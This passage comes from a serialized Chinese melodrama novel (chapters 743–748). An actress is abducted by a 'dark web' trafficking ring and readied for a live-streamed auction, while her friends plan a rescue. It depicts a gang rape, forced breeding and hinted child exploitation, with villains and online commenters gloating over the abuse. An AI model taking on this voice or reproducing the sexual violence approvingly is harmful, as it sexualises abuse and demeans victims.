他薅起温栩栩的头发几乎是将此刻虚弱无力的温栩栩强硬的拉拽到颜佳雨的对面,让她眼睁睁的,亲眼看着颜佳雨被人侵犯。 颜佳雨还在惨叫,可再叫也没人理她,许是旁边的人听烦了,直接一块破布蒙住了颜佳雨的嘴巴让她再喊不起来。 那是几个人,四个,还是五个?或者飞机上其他人已经用过了? 温栩栩身体冰冷几乎带着点颤意的先要后退。 她抬头看向面前面上露出温柔笑意的埃尔斯,只觉得那张脸面目可憎的像是噩梦。 “亲爱的,你看到了她的遭遇了吗,我这是在为你报仇呢。” “她就是这一环中一枚小小的棋子,怎么非要想不开真的伤到你呢?她才能卖几个钱?能有你的零头多吗?她也配对你动手,我当然要给她一些惩罚让她认清楚她自己的身份,不要做什么不该做的美梦。” 埃尔斯面上的笑意丝毫不减,他在解释,在对温栩栩露出自己温和好说话的一面。 可面前颜佳雨再被侵犯,还能听到男人们污言垢语的声音,再温和都显得丑陋恶心。 颜佳雨后悔吗,她当然后悔。 她当初在精神病院说是难过无非是在精神病院被医生护士冷暴力,却不会被这样强行撕扯衣服的侵犯。 她本来就没有真疯,可她现在是真的想疯了。 她一直自命不凡,她一直觉得自己长得漂亮,她不停的想要往上爬,她想利用很多男人,其中最适合的就是黎云笙。 可她太过于春,错过了黎云笙,她恨她疯所以她要毁了温栩栩,她要让黎云笙痛苦。 但现在颜佳雨后悔了。 她以为许愿是恶人,她以为温栩栩是恶人,可他们不过是被诬陷被设计后的反击,现在遇到的人才是真正的恶人。 他们想要利用她去伤害温栩栩然后把事情闹大,却又觉得她真的伤害到了温栩栩,是她不配,所以在这里伤害她。 她本该是嫁进大家族的,再不济……再不济也是个娱乐圈的明星能嫁个有钱人家,哪怕不结婚也一辈子算是个小豪门。 她为什么行想不开,为什么要继续跟温栩栩作对。 她这次才是真的毁掉了自己的一生。 颜佳雨眼睛里不停地有泪水在滚落,她死死的看着温栩栩,像是求救希望温栩栩能够救她。 她明明那么恨温栩栩,现在却期盼着温栩栩能救她。 温栩栩垂眸,盯着她看了几眼。才缓缓开口:“能让那些人停下吗。看着这一幕我有些反胃恶心想吐。” “哦,亲爱的,这是我的过世了,既然你现在见不得这些那就不看了。” 话落埃尔斯冷冷叮嘱:“把人丢远一点修理,不要打扰我们新的天使休息。” 天使…… 再次听到这个词还是会觉得恶心。 被选成天使的人都有什么下场?被拍卖,成为公用的玩物,然后成为玩具,然后是暗网的生育机器,一次次的诞生幼童。 一辈子就这么定型了 且可能一辈子都逃不出。 谁能来救她? 如果已经被拍卖过直播过,一切都会被毁掉,除非整容,否则那些人看到她的那张脸就能想到她遭遇的一切。 就算真的整容了,可身体能够忘记遭受的一切吗。 她该怎么做,她能怎么做,她又能求谁。 阿愿,阿愿救救她。 可现在人还在飞机上真是叫天天不应叫地地不灵。 “看到她这副害怕惊慌的模样,埃尔斯像是心疼。” 这次又一次伸手去拍她的侧脸,很轻的动作像是在拍打小动物一样。 “好了,你毕竟是以后的天使之母,这么点小事怎么会被吓到呢,颜佳雨经历的算什么,你要经历的比她多得多,或许你在最初的拍卖只需要有一位客人,但等时间久了后你可以接待更多的客人,他们都是疯子却也是大方的疯子,他们就喜欢看你这样的绝色美人深陷在污泥之中无法挣扎。他们会不停的伸出自己的脚把你踩得更实将你彻彻底底踩进泥潭。” “瞧瞧这张脸,多漂亮啊,你真是最适合做天使的女性了。” “其实你也不必太在意,我为你物色的能跟你一起生下天使的男人是唐文晞,你一定会喜欢的。” “曾经的小天使长大了,有着紫色眼睛的小天使和新的天使之母结合,必定能诞生下更多天使。” “我多疼你,给你找的是懂得心疼你,在这些天一直给我们使绊子给你找机会的唐文晞啊。” “若不是唐文晞,那天你在M国约会的时候就已经被我带走关起来,早就会进行第一场直播了。” “真是可惜,最棒的初遇被唐文晞给破坏掉了。” 埃尔斯盯着她,笑的阴冷。 “其实你根本不必期待唐文晞能救你出去,他在明我们在暗处,唐文晞迟早要一起来陪你呢。” 埃尔斯笑意愈发幽暗。 温栩栩脸色发白一言不发。 她重新坐到座位上,身体还在小幅度的颤抖,颜佳雨那边嘴里堵着的布料已经被摘掉了,但再也没听到颜佳雨的声音,像是已经昏过去了。 到现在还能听到那群男人伸出脚踹着地上的颜佳雨不停的骂着污言垢语。 第743章 温栩栩失踪 温栩栩嗓音愈发干哑。 飞机在云层之上平稳地飞行,机翼下是绵延无尽的白色棉絮般的云海,阳光洒在其间,折射出光芒。然而,对于温栩栩而言,这一切美景都仿佛被一层无形的玻璃隔开,触不可及。 她静静地坐在靠窗的位置上,眼神空洞地望着外面那片看似自由却又遥不可及的世界。 每一次呼吸都似乎变得异常沉重,心脏像是被一只无形的大手紧紧揪住,难以喘息。 她感到自己正被困在一个由无形墙壁构建而成的囚笼之中,这个囚笼没有实体,却比任何实质性的牢房更加令人窒息。 每一丝恐惧与不安都在心底深处翻涌着。 外面的世界虽然看起来宁静而美丽,但她知道,全都是危险,外面荆棘匆匆,只要飞机降落到地面,等待她的就会是无穷尽的黑暗。 随着飞机缓缓穿越一片厚重的云层,短暂的黑暗笼罩了整个舱内,也仿佛吞噬了温栩栩最后一丝安全感。 当光明再次降临,她看到的是更远处连绵起伏的山脉,它们像是一头头沉睡中的巨兽,在遥远的地方静静等待着什么。 这种景象本应给予人希望和力量,但在这一刻,它只是加深了温栩栩内心的孤独感和无助感。 她闭上了眼睛,在这封闭的空间里,每一分每一秒都像是被无限拉长,温栩栩只能独自承受这份恐惧与恐慌,直到飞机最终落地。 飞机落地后,噩梦就会开始了。 如果真的到那一步,她宁愿死也绝不被这些人侮辱。 如果那种直播视频传出去,她活着也只会是屈辱。 …… 华国《九月》剧组。 温栩栩的助理昏昏沉沉的早就睡过去,等醒过来后天都已经亮了,助理发现温栩栩不见了,岂止是温栩栩不见了温栩栩的主治医生也不见了。 绑架还是别的? 温栩栩才被颜佳雨刺伤啊! 助理惊慌失措的去找一直跟在颜佳雨身边的保镖,却没有找到保镖,打电话才得知,是温栩栩用手机给他们发了信息让他们休息。 因为温栩栩原话是这两天不会再剧组,所以给保镖放假。 助理心头直跳。 对啊,万一温栩栩自己回家了呢,没什么大不了的。 助理开始给温栩栩打电话,无人接听。 助理连着打了十几个电话都是无人接听的状态。 助理哪里承受的住这些,赶紧往剧组跑,想要让导演知道温栩栩的情况。 其实助理实在应该庆幸她的样貌十分普通,所以暗网那群人只是淡淡的扫了一眼就没了兴趣但凡助理有点姿色,昨晚上都会被遗弃绑走然后沦为那群底层人的玩具。 “导演,不好了!栩栩姐姐失踪了!” 助理根本不敢再继续耽搁了,看到导演就着急的满头汗。 温栩栩失踪了,她只能来求导演出面。 导演也慌,温栩栩的身份摆在这里,虽然明面上说是跟黎氏闹掰了,可黎氏对她还是那么在意,不然前不久黎云笙也不会亲自来剧组想要投资了。 温栩栩跟黎氏关系好,且这次TS的总裁唐文晞又亲自投资,而温栩栩背后绝对有许愿。 三个大人物,温栩栩本就被颜佳雨刺伤上了热搜好不容易压下去,现在又失踪。 他们剧组一定会被骂死的! 但即便如此导演也一点都不敢耽搁,但凡耽搁一点,温栩栩都可能再度出事。 导演还是先联系了许愿,毕竟许愿跟温栩栩时好姐妹,关系多好大家都看得到。 唐文晞也留了名片,黎云笙也有。 导演硬着头皮给三个人拍着序号打了电话,对面都是飞速挂断电话让人去查附近的监控录像和所有可疑人员,以及飞往国外的所有航班飞机。 哪怕是民用私人飞机也是需要申请航线的。 有关于温栩栩相关的词条也再度被刷起来,因为温栩栩的大粉们也一直没等到温栩栩出来,就算在医院也该冒个头啊。 温栩栩一直都担心自己的粉丝因为自己而着急,所以只要出事,稍微好一点后绝对会第一时间出来让粉丝放心安抚他们的。 可一整晚了,温栩栩没有出现。 温栩栩出事的词条被顶上了热搜。 #颜佳雨刺伤温栩栩# #温栩栩去哪里了# #温栩栩失踪# “温栩栩是什么时候失踪的啊,好像是被颜佳雨刺伤之后就没再见了,颜佳雨真是个搅屎棍,什么时候都要冲出来添乱,颜佳雨到底什么时候才死啊!” “好像颜佳雨也失踪了!” “颜佳雨失踪个屁,砍伤了温栩栩肯定是躲起来了,她不躲起来也不怕白人打死。” 然而事实是,比打死更可怕的生不如死。 “温栩栩这个性子不可能不出来发声安抚粉丝的,肯定是失踪了。” “温栩栩粉丝页真的是奇怪,你们偶像就不能是重病发烧了吗?没给你们打声招呼就说是失踪了?能不能不要浪费公共资源。” 这话才出,就已经有人证实温栩栩失踪了。 警方这边已经调查出了所谓的绑架路线。 “我靠,我简直浑身发冷啊,《九月》剧组因为人多口杂不好把人绑走,所以在温栩栩受伤到医院后就被绑走了,如果是市区内的大医院可能还没事,可《九月》” 剧组几乎是在郊区,只有这么个稍微好一点的医院,还是个私人的黑心医院。 “警察已经已经透过摄像头看到那个涉案男子了,他是提着行李箱走的,温栩栩是完全可能被塞进行李箱后运走的,仔细看拖拽行李箱的力道也跟前后不一样,里面肯定装了大件。只能是温栩栩。” 事情闹得越来越大。 温栩栩真的出事了。 警察们还在不停查找温栩栩,打算试图找到温栩栩被谁绑走,他们甚至还从温栩栩仇人方向下手,却一无所获。 只有许愿几人清楚的知道,温栩栩是被人绑到了M国。 因为暗网的人已经盯上了姜栖晚。 姜栖晚已经决定现在就离开华国区M国讨说法,她不介意去拜访M国高层,让他们出面逼迫暗网交出温栩栩。 第744章 跨国绑架 许愿都想好了如果对方不管不顾,她就会用金融战针对M国。 现在为了温栩栩,许愿真的是什么都能做得出来。 …… 得知温栩栩被绑走的消息,黎云笙的心仿佛瞬间坠入了无尽的黑暗深渊。他的脑海里一片混乱,思绪如同脱缰的野马,四处狂奔却找不到方向。 “栩栩不会有事的,不会的。” 他一遍遍地在心里默念着这句话,试图让自己镇定下来,但每一次呼吸都像是在撕裂胸腔,心跳快得几乎要跳出嗓子眼。 冷汗从额头不断渗出,滑过紧绷的脸颊,滴落在颤抖的手背上。 他的双手不自觉地握紧又松开,指节因为过度用力而泛白,仿佛只有通过这样的动作才能稍微缓解内心的恐惧和焦虑。 黎云笙的视线开始模糊,周围的一切似乎都变得遥远而不真实。 时间仿佛凝固,每一秒都被拉长成痛苦的煎熬。他在房间里来回踱步,脚步凌乱且急促,每一步都在地板上敲打出沉重的回响,就像他那颗不安的心跳动的声音。 心中无数个可能的画面一闪而过——有没有受伤?她现在害怕吗?那些绑匪会对她做什么? 他甚至认为是自己没有看好温栩栩才让温栩栩被绑走。 自责与懊悔像潮水一般涌来,淹没了他的理智。黎云笙感到一种前所未有的无力感,往昔的自信和从容此刻荡然无存。 他只知道,必须找到她,无论付出什么代价,即使面对再大的危险也不能退缩。 但现在,除了等待进一步的消息外,他什么都做不了,这种无助的感觉几乎要把他吞噬。 到这一步,他没有其他办法,只能联系许愿,他想知道许愿那里有没有温栩栩相关的消息。 接到他电话时许愿已经打算乘坐私人飞机飞M国,盛景炎的腿还没完全恢复,她没让盛景炎跟着去。 许愿没那么容易,但这次她带上了刑从景,甚至顾凛也跟了去,这两人分量就太重了。 许愿知道顾凛是因为自己猜跟过来的,她心里自然是感谢的,除了感谢也说不出别的话了。 接到黎云笙的电话许愿听到了黎云笙嘶哑的声音,他在询问许愿温栩栩现在的遭遇。 许愿眼神微暗,她很想说温栩栩有什么事都跟你没有关系,但她说不出口。 纵然这两人之间黎云笙做错了很多事,但她不能代替温栩栩直接回绝他。 最重要的是黎云笙也是助力,带黎云笙一起去M国或许会更快找到温栩栩也是可能的。 “你应该已经知道跟暗网有关的事了。” 许愿声音沉重:“我跟唐文晞通过电话了,他告诉我暗网早就盯上了温栩栩,他们将栩栩看作是新一代天使母亲,你看了新闻应该知道暗网的天使代表什么。” “我们没有多少时间,如果不能尽快拯救栩栩,我担心暗网真的伤害栩栩。” 身体上的,心理上的,许愿都怕。 黎云笙嗓子都有些干哑:“你说暗网盯上了温栩栩。” “对。” 他得到了许愿准确的回答。 暗网盯上了温栩栩。 那可是暗网,那可是一群疯子。 “我打算去M国,TS总部就在M国,唐文晞已经安排了不少人在探查暗网的踪迹,你要来的话我只给你半小时,地址会发到你手机上。” “好。” 黎云笙挂断电话,他只给助理那边发了信息让他把最近的工作都推掉,然后开车去了许愿说的地址。 许愿已经等了一会儿了,看到他来只淡淡的点了下头。 等到黎云笙,许愿安排人飞往M国,飞机上可以链接特定的网,她还在时时关注着网络的舆论走向。 可是,突然横空降下一个热搜。 #颜佳雨暗网直播# 词条才出现五分钟,瞬间热搜登顶。 那是暗网开的直播。 暗网的人胆子是真的大,故意在这个时候开直播,像是故意。 直播是颜佳雨被暗网的人凌辱的视频,颜佳雨曾经已经脱粉的粉丝都看不下去了,但是那些男人却已经开始污言垢语了。 “全网都在查颜佳雨刺伤温栩栩去什么地方了,靠,她怎么被绑到暗网了!她真的完了,去了暗网的没有能活着出来的!会被一直拍卖一直凌辱最后没有利用价值后可能会制作成猎奇玩具或者挖心挖肺!她绝对回不来了!” “我本来还在气愤颜佳雨刺伤温栩栩,可现在看了这直播我都开始揪心了,谁来把颜佳雨救出来关监狱也好啊,被关到死也比暗网好!” “以前粉过颜佳雨,后来因为颜佳雨的自私所以脱粉,但现在看到这些还是会难过,谁去救救颜佳雨。” 正常人都在呼吁拯救颜佳雨骂着暗网,但是那些低劣的男性已经开始到处传播那些视频片段,放到一些网站上,在网络上也嘲讽辱骂。 “颜佳雨,以前不还是影后吗,到最后也就只是这个下场,那些娱乐圈的到最后都只会是这个下场。” “等我攒攒钱我也去暗网转一圈,毕竟是曾经的影后,总要照顾照顾生意。” “以前那么神气,现在还不是要接受现实,暗网就该把内娱那些好看的全抓走让我们攒钱去消费,肯定能刺激消费。” 污言垢语说了一堆,终于有人猜到了点上。 “颜佳雨被绑到了暗网,结合温栩栩突然失踪,有没有可能温栩栩已经被暗网带走了……” “我真的越想越觉得有可能,颜佳雨怎么就这么突然的从精神病院逃出来还发疯的去伤害温栩栩?怎么就这么巧暗网的人就在那边的医院候着,怎么就这么巧温栩栩和颜佳雨同时失踪了?” “失踪的颜佳雨出现在暗网的直播镜头中,那温栩栩呢?” “温栩栩的那张脸难道不就是暗网最喜欢的吗?在暗网来看美色就是金钱。” “他们肯定已经绑走了温栩栩!” “温栩栩绝对不仅仅是失踪这么简单!这是跨国绑架!她在暗网组织内部了!” 第745章 聪明人 “温栩栩绝对已经被绑走了,暗网一直在提到天使,一直在攻击唐文晞,就是因为天使对暗网来说非常重要,那暗网找到新的天使了吗?他们找到了,他们的目光放到了温栩栩的身上,温栩栩的美貌是毋庸置疑的,其实我甚至怀疑暗网可能还打过许愿的主意,不过许愿的身份太过复杂,暗网肯定是不想跟华国为敌,所以选择了温栩栩。” “如果我的猜测是真的,那么接下来暗网会故意发一些似是而非的博文,或者会提到天使,他们是兴奋的是激动的,会忍不住出来炫耀找到了新的天使。” 温栩栩的粉丝们只觉得遍体生寒。 她们在这一刻甚至不想认识这些字,什么叫做温栩栩被暗网绑走了,怎么就被暗网绑走了。 国内那些人是废物吗?为什么没有严查呢? 温栩栩那样那么爆火的大明星都能被人悄无声息的绑走,那她们普通人的,如果被人盯上还有反抗的机会吗? 粉丝们想反抗说温栩栩不可能被暗网绑走,但组织不出语言。 理智的粉丝组织不出语言,激进的粉丝开始慷慨激昂的在网络上怒骂那些说温栩栩被绑到暗网的言论。 猥琐低劣的人说再过不久就能看到有关温栩栩的视频了,甚至叫嚣着让暗网快些放温栩栩的直播,颜佳雨的直播他们看腻了。 这些人甚至还在海外网络留下了自己厌恶的明星名字,有男明星有女明星,都是颜值很高的那种,他们就是嫉妒这些人混的逼自己好,所以想通过暗网毁掉他们打碎他们。 那些列举了几十个明星的帖子在半小时后被坐标在M国的人回应了一句“真是有趣,都是很漂亮的美人儿啊,虽然到底不了天使的程度,但已经不错了。华国人都很喜欢他们吗,那么……如果有他们的直播,你们会想要花钱看吗。” 只一句话,让人浑身发冷。 这语气,多半是暗网的人 夸他们是美人,那他们就危险了,他们甚至提到有直播华国人会不会看,这是已经打算绑人了。 粉丝们疯狂辱骂发帖的人,对方冷笑回应你们很快就能在网上看到你们偶像的视频了。 有了这一出,甚至有人故意发了自己嫉妒的漂亮的人私信暗网的坐标。 早就看透暗网有多危险的网民在这种时候评论了一句。 “颜佳雨就是暗网操控的棋子,最终被一起绑走,下场你们都看到了。” “你们希望暗网将他们一起绑走,那么你怎么就能确定暗网一定会放过你呢。” “难道暗网不该将你一起绑走吗?” 有人说了这话,网络环境也只是安稳了一些。 但也只是安稳几息,因为暗网又发布了动态。 {得到了一位漂亮的美人,即将拍卖,你们可以期待了。} {新的天使之母已经找到了,一切准备就绪。} 漂亮的美人,拍卖,天使之母,所有的一切好像都指代了温栩栩…… 温栩栩的粉丝都要被气疯了。 根本不敢想象遭受这一些的温栩栩真的还能活得下来吗,如果是她们……如果是她们,真的会疯的! 本来收敛的卑劣男性嘲讽“你们去娱乐圈啊,越红就越可能被盯上,现在是颜佳雨和温栩栩,以后就是其他人,我们等着看你们的视频,一定会帮你们四处传播的。” 温栩栩的粉丝不停的举报那些账号,然后一直在祈祷求救。 粉丝们都在求着许愿想办法。 {许总你看到热搜了吗,许总你帮帮栩栩,栩栩是你的好姐妹啊!许总!} {栩栩现在一定很无助,你认识很多人,你帮帮她吧!} 许愿当然看到了温栩栩粉丝求救的言论。 她微微敛眉,她发了一条微博。 【许愿】:我会把她带回家。 温栩栩的粉丝全部都在下面留言感激送花。 许愿却没再看了。 她现在满心都是愤怒,找到温栩栩后她一定会把她救回来,然后毁掉暗网,就像苏青莲当初做的那样。 …… M国 宏伟古堡中正在进行一场晚宴。 这座古堡曾是一位王室贵族的府邸,如今则成为权贵与富豪们汇聚一堂、展现无尽财富与地位的舞台。 巨大的水晶吊灯从高耸的穹顶垂落下来,成千上万片切割精美的水晶折射出璀璨夺目的光芒,将整个大厅照得如同白昼,却又带着一种梦幻般的华贵。 四周墙壁上挂满了价值连城的艺术品,每一幅画作背后似乎都隐藏着一段传奇故事。大理石柱子雕刻精细,仿佛诉说着往昔岁月里的辉煌成就。地面铺设着厚厚的波斯地毯,踩上去柔软而无声,其上绣着繁复绚丽的图案,色彩斑斓到几乎让人眼花缭乱。 宾客们身着定制的高级时装和手工制作的珠宝首饰,在这金碧辉煌的空间里穿梭往来,他们低声细语交换着商业机密,偶尔举杯共饮庆祝即将到来的成功交易。 香槟塔层层叠叠,在灯光下闪烁着诱人的泡沫,旁边摆放着各种珍稀食材制成的精致点心,每一道菜都是由名厨精心烹制而成,旨在满足最挑剔的味蕾。 埃尔斯笑呵呵的拦住了一名商人。 其实能来这里参加晚宴的都是喜欢情趣甚至玩的开的人,也正是支持埃尔斯重建暗网的商人们。 埃尔斯拦住的恰巧就是古堡现今的主人,这次的晚宴也是对方举办的。 “杰尼斯先生,我这里得到了点好东西要献给您。”埃尔斯笑着开口。 杰尼斯被他捧着心情很好,淡淡的嗯了一声:“什么好东西。” “您或许听说过温栩栩,华国目前最漂亮的女星。” 杰尼斯听到温栩栩三个字眸光深了几分,盯着埃尔斯连连笑了几声,想借我这个场地让你那新的天使露露脸? “您是聪明人。”埃尔斯笑了笑。 杰尼斯本就是爱美人的,招来自己的助理,让他去操作。 就在这样一片奢华氛围之中,杰尼斯的助理站到了临时搭建的小舞台上,手持麦克风,目光扫过在场的所有人。 第746章 放了我 他的声音透过顶级音响设备清晰地传遍每一个角落:“亲爱的朋友们或许大家听到过华国目前最美的女星‘温栩栩’现在” 说到这里,他故意停顿了一下,让所有人的好奇心达到顶峰,然后继续道,“三天后我们会对温栩栩小姐初次交友权进行拍卖,拍卖现场也将进行直播,希望诸位抱得美人归。” 话落。 晚宴现场出现了投影。 投影中的女人正是温栩栩。 温栩栩站在房间里,被迫穿着一件黑色的长裙,那裙子贴合着她的身体,仿佛是第二层肌肤般完全显露出她婀娜多姿的身材曲线,且布料是那种黑纱的,隐隐约约可见布料下雪白细腻的肌肤。 她的美丽完全无法被掩盖,透过投影屏幕,能看到她的面容。 面容如同精心雕琢的艺术品,眉如远黛,细长而微微上挑的眼睛里藏着星辰大海,深邃且充满神秘感。睫毛在眼睑下方投下淡淡的阴影,高挺的鼻梁下,是一张樱桃口,唇色自然红润,宛如春天里盛开的最娇艳的花朵,即使是在紧张和不安中,也透露出一种难以言喻的魅力。 一头乌黑亮丽的秀发柔顺地垂落在她纤细的肩膀上,衬托出她白皙如雪、细腻如瓷的肌肤。 是真的很漂亮。 能来这个晚宴的能有几个好人?看到她的容貌心里怎么会没有想法? 人群中爆发出一阵热烈的掌声与惊叹声。 他们都在期待着暗网的拍卖会,而埃尔斯的目的达成了。 他就是要用温栩栩来热场。 …… 飞机落地,唐文晞已经跟许愿和黎云笙会面,这次唐文晞只是目光淡然的看了黎云笙一眼并没有像上次见面那般针锋相对。 唐文晞将人接到TS,一直到办公室才开口。 “我这边有内部消息,埃尔斯三天后会设立拍卖会,拍卖的就是……温栩栩,明面上说是拍卖谁能拿下第一个跟温栩栩做朋友的机会,但到底是不是做朋友我们心里都清楚。” 说是做朋友……其实全是那些肮脏事。 黎云笙紧握双拳眼底都是冷意。 “怎么拿到请帖,你们有计划吗,如果没有我会去参加这次的拍卖,然后抢也要把她抢回来。” “你的身份进不去,你的确有钱,但你跟温栩栩和颜佳雨之间有渊源,你的身份过不去审核那一关。”唐文晞看他一眼最后目光落到许愿身上 :“阿愿,你应该有办法,能黑进系统给他拿到一张请帖了。” “暗网的准确地址IP都是经过加密的,且加了很多防护网,你短时间内无法破解,但是你应该能给黎云笙找个靠谱的身份让他混进拍卖会现场。” 许愿叹了口气:“我的确可以做到,但你们是不是忘记这次的拍卖会是现场直播,且那个圈层的贵族都是互相认识了解彼此癖好的,让他混进去很容易被察觉,别到最后栩栩没救出来再搭进去一个。” “黎云笙这张脸……也的确是可以当暗网的男天使了,如果你自己要往里面送,暗网可能都不会给你逃出来的机会。” 唐文晞顿了下,似是想到了埃尔斯提到的要让他跟温栩栩孕育后代的事,脸色难看。 “你说的有道理。”唐文晞抿唇:“那么需要如何做。” “我这边联系下合作伙伴,有个外国贵族有个年轻的华国混血侄子,埃尔斯的请帖应该会发到他手上,我会联系他,让黎云笙以他侄子的身份进入拍卖现场。” “他的侄子在M国没有好友,跟那个圈子也并不算熟络,所以应该不会出错。” 许愿说的确实是个办法,黎云笙也不会拒绝,他同意了许愿说的做法。 许愿当即联系了自己的合作伙伴,那边清楚许愿的意思后让管家整理最近的信箱,果然在其中看到了一封最新送过来的请帖。 打开请帖就看到了暗网特定的大眼睛标志。 特邀他和他的侄子去参加拍卖会。 许愿的这位贵族伙伴气的脸都红了,但许愿都求上门了他当然给许愿这个面子,将自己的侄子关在家中然后邀请许愿来家中做客。 这还不够,许愿要的是最好万无一失。 万一在晚宴上再出纰漏呢?这位贵族的身份不一般,许愿需要他跟黎云笙一起进入拍卖会场,为此许愿跟对方以最新的合作方案让利。 …… 埃尔斯这几天联络了很多人,拍卖会的事情也已经在准备了,只要想到利用温栩栩能拿到那么一大笔资金脸上的笑意根本止不住。 不过…… 埃尔斯叹了口气。 他看了眼脸色苍白的温栩栩,感受到对方眼底的防备。 他嗤笑一声走近,他走近,温栩栩就会后退,直被逼到角落,温栩栩眼神更冷了,抬起手一耳光甩到他脸上。 “滚开!” 这个巴掌埃尔斯没能躲开。 他舔了舔嘴唇笑意都冷了,如果是别的什么人,现在这巴掌会回敬到对方脸上。 可温栩栩不同,温栩栩算是暗网的摇钱树了。 马上就是拍卖会了,真打了,脸上的印子可消不下去。 “脾气可真爆啊。” “不过可惜了,你脾气再爆都没用,在暗网,你的性子再尖锐都能给你磨平。” “你就是个刺猬,我们也能把你身上的刺全部拔了,你长一根我们拔一根。” 他说着说着笑起来:“真是漂亮啊,只是可惜了。” 可惜的是什么,可惜的是温栩栩往后的人生,只能变成烂泥了。 “你想要钱,我可以给你筹钱,只要你放了我,你想要的那笔钱我都可以给你筹借到。” 温栩栩开口。 听到她说这个,埃尔斯点了下头:“对,你那个朋友,许愿小姐的确是非常有钱。” 他话音陡然一转:“可是我需要的是用你创造更多天使,你可是我好不容易筛选出的天使,怎么可能会放你离开。” “当然,如果你能让许愿自愿成为天使之母……那我当然能够放了你。”埃尔斯嘲讽:“你能吗。” 第747章 和许愿的差别 比起温栩栩,如果可以,埃尔斯最满意的天使之母当然是许愿。 毕竟许愿的身份可太复杂了,她可是苏青莲的女儿,相貌跟苏青莲像了有七八成,他跟苏青莲算是有血海深仇了,若是用了许愿,不光能报复苏青莲,还能利用许愿诞生很多相貌肖似苏青莲的天使。 他可清楚华国有太多苏青莲的爱慕者,且都是位高权重者。 埃尔斯看着温栩栩,笑的温柔。 明明是温柔的笑,却掺杂着残忍的冷意。 “如果许愿同意来代替你,我当然可以放你走,我还可以亲自放你走,如果你能把许愿骗进来,我还可以给你一笔巨额财产,你能吗。” “这就是你和许愿之间的差别。” 埃尔斯仔细看着温栩栩这张漂亮的脸蛋儿。 “空有美貌,没有强大的背景做支撑,就只会成为我们这些幕后人的玩物,古往今来一直如此。” “许愿能上谈判桌跟我见面,她做点什么我就要担心是不是搜到了我的老巢,你能吗。” “你的确够美,但你确实只是一个可笑的花瓶。” “你是没有资本跟我谈条件的。” 埃尔斯居高临下的看着温栩栩,轻蔑的话语脱口而出,将她完全当成可以随意玩弄在股掌中的蝼蚁。 “所以我说你是天使之母的最佳选择,空有皮囊的美人,最好控制。” 温栩栩不停摇头:“我不可以!你放了我!我做不到!” “不要慌张。” 埃尔斯像是安慰她那样开口:“唐文晞的母亲,哦抱歉,实在不好意思,唐文晞现在的母亲是苏青莲了,我的意思是唐文晞的生母也是这么过来的,她都可以你怎么不行呢。” “放心,你教朋友多了你就麻木了。” “你会成为暗网的招牌,我会一直捧着你,将你捧的高高的,如果你有逃出的可能,那就是暗网覆灭了,你会跟暗网共生死,这是你的荣幸。” 共生死三个字压下来,温栩栩眼前都是一片黑暗。 他用唐文晞的母亲来提醒她,不就是告诉她,唐文晞的母亲逃出去也会被抓回去,她真正的解脱只有死,或者……暗网被毁。 温栩栩死死盯着埃尔斯。 “这样的眼神挺不错的,这里的人就喜欢看你们这种眼神。” 埃尔斯又笑了,他提醒:“这几天好好准备,马上就是拍卖会了,希望你能卖个好价钱。” “阿愿会找到我的。” 温栩栩开口,在他转身离开时像是笑了。 “你不了解阿愿,她的性子就像是带着强风的烈火她会携着风带着那些火将暗网烧个渣都不剩。” “你也说了,暗网曾经是被苏青莲女士整个毁灭的,她是苏青莲女士的女儿,她继承了苏女士最好的基因,你怎么知道阿愿不能毁掉暗网。” “你捉我就是最大的错误。” 埃尔斯缓缓转身,一双眼睛犹如窥伺在暗处凝视猎物的毒蛇。 “当她灭掉暗网的时候你已经快被玩死了。” “苏青莲都要处处设计联合多方势力剿灭暗网,她花费了起码一年的时间做这些准备,那么你认为许愿有苏青莲的魄力吗,就算许愿真的那么厉害,她也需要一年的时间。” “一年,够你求死无数次了。” 埃尔斯冷笑的留下这句话大步离开,对门口的人冷声道:“看好她,如果丢了她,你们也不用活了!” 温栩栩缩在角落中,有些无助。 直到这种时候她期盼的都是许愿来救自己,她有想过黎云笙,想黎云笙带自己离开这个鬼地方。 可黎云笙在哪里呢。 温栩栩抱着膝盖忍不住落泪。 三天时间,许愿在M国各地走访,联络了几方势力,并勘测了地形后在某处放出了才设计完成还没有开始售卖的小型只能无人飞机,他们的外貌像是逼真的麻雀,任谁都认不出这会是智能无人飞机,且体内的电量足够他们支撑三十天之久,他们的充电方式多样化,可以遥控转换,水能、风能 、太阳能、全都可以转化成他的备用电量。 这是许愿目前的秘密武器。 她会让这些麻雀代替自己的眼睛,盯紧那些人,一个也……别想跑。 所有跟暗网有关联的人,她都不会放过。 她不会留魔鬼在人间。 直到此刻,她终于完完全全了解十几年前苏青莲的内心是什么想法。 现在苏青莲不在,他可以代替苏青莲再次毁掉暗网。 许愿垂眸竟然笑了。 苏青莲,这是她第一次这样感激你留下的变态基因,能让她在这种事情上无往不利。 许愿做好一切准备甚至还借了不少装备给某个M国的组织,做好一切后,只等暗网拍卖会了。 许愿打开电脑,开始敲击键盘编写代码,由着代码和数字组成了对苏青莲说的话点击发送。 不知道苏青莲什么时候能醒 ,也不知道父亲什么时候完全恢复健康。 许愿的心沉了下去。 关掉电脑后,看了眼时间,拍卖会即将开始,她需要做最后的准备了。 关上电脑时许愿没看到电脑闪烁着微弱的光,她收到了新的代码邮件,但她没有注意到。 …… 拍卖会现场定在杰尼斯的古堡。 能来参加拍卖会的全部都是埃尔斯亲自筛选过后的贵宾。 拍卖会现场的天花板上悬挂着巨大的水晶吊灯,无数颗璀璨夺目的水晶珠子折射出五彩斑斓的光芒,仿佛银河坠落人间,为整个空间洒下一层梦幻般的光辉。 地面铺设着精心挑选的大理石砖,每一块都经过打磨抛光,光滑如镜,倒映着四周华丽的装饰和来往宾客的身影。 墙壁上挂着一幅幅名贵的艺术画作,从古典到现代,无不彰显着主人的品味与财富。 杰尼斯当然是有钱的,他肯将古堡借给埃尔斯,就是因为埃尔斯承诺未来真的培育出天使,会用最优惠的价格为他留一位。 他还是很想要一位天使幼童的,喜欢什么样就养成什么样,这才是最大的乐趣。 第748章 是爱人吗 沿着红地毯前行,可以看到一排排精致的座椅整齐排列,每一把椅子都是由顶级工匠手工打造,全为贵客准备。 舞台位于大厅的正前方,背景是一面巨大的屏幕,用于展示即将拍卖的珍品。 台上布置得富丽堂皇,金色与红色为主调的设计风格显得庄重而奢华,处处体现出细节上的考究。 拍卖会已经准备妥当,埃尔斯看着时间,距离拍卖会开始还有半小时,但宾客们已经陆陆续续来现场了。 福恩先生由自己的侄子搀扶着入场,埃尔斯看到对方立刻亲自上前迎接。 “您竟然真的来了现场,这真是我的荣幸。” 埃尔斯确实很激动。 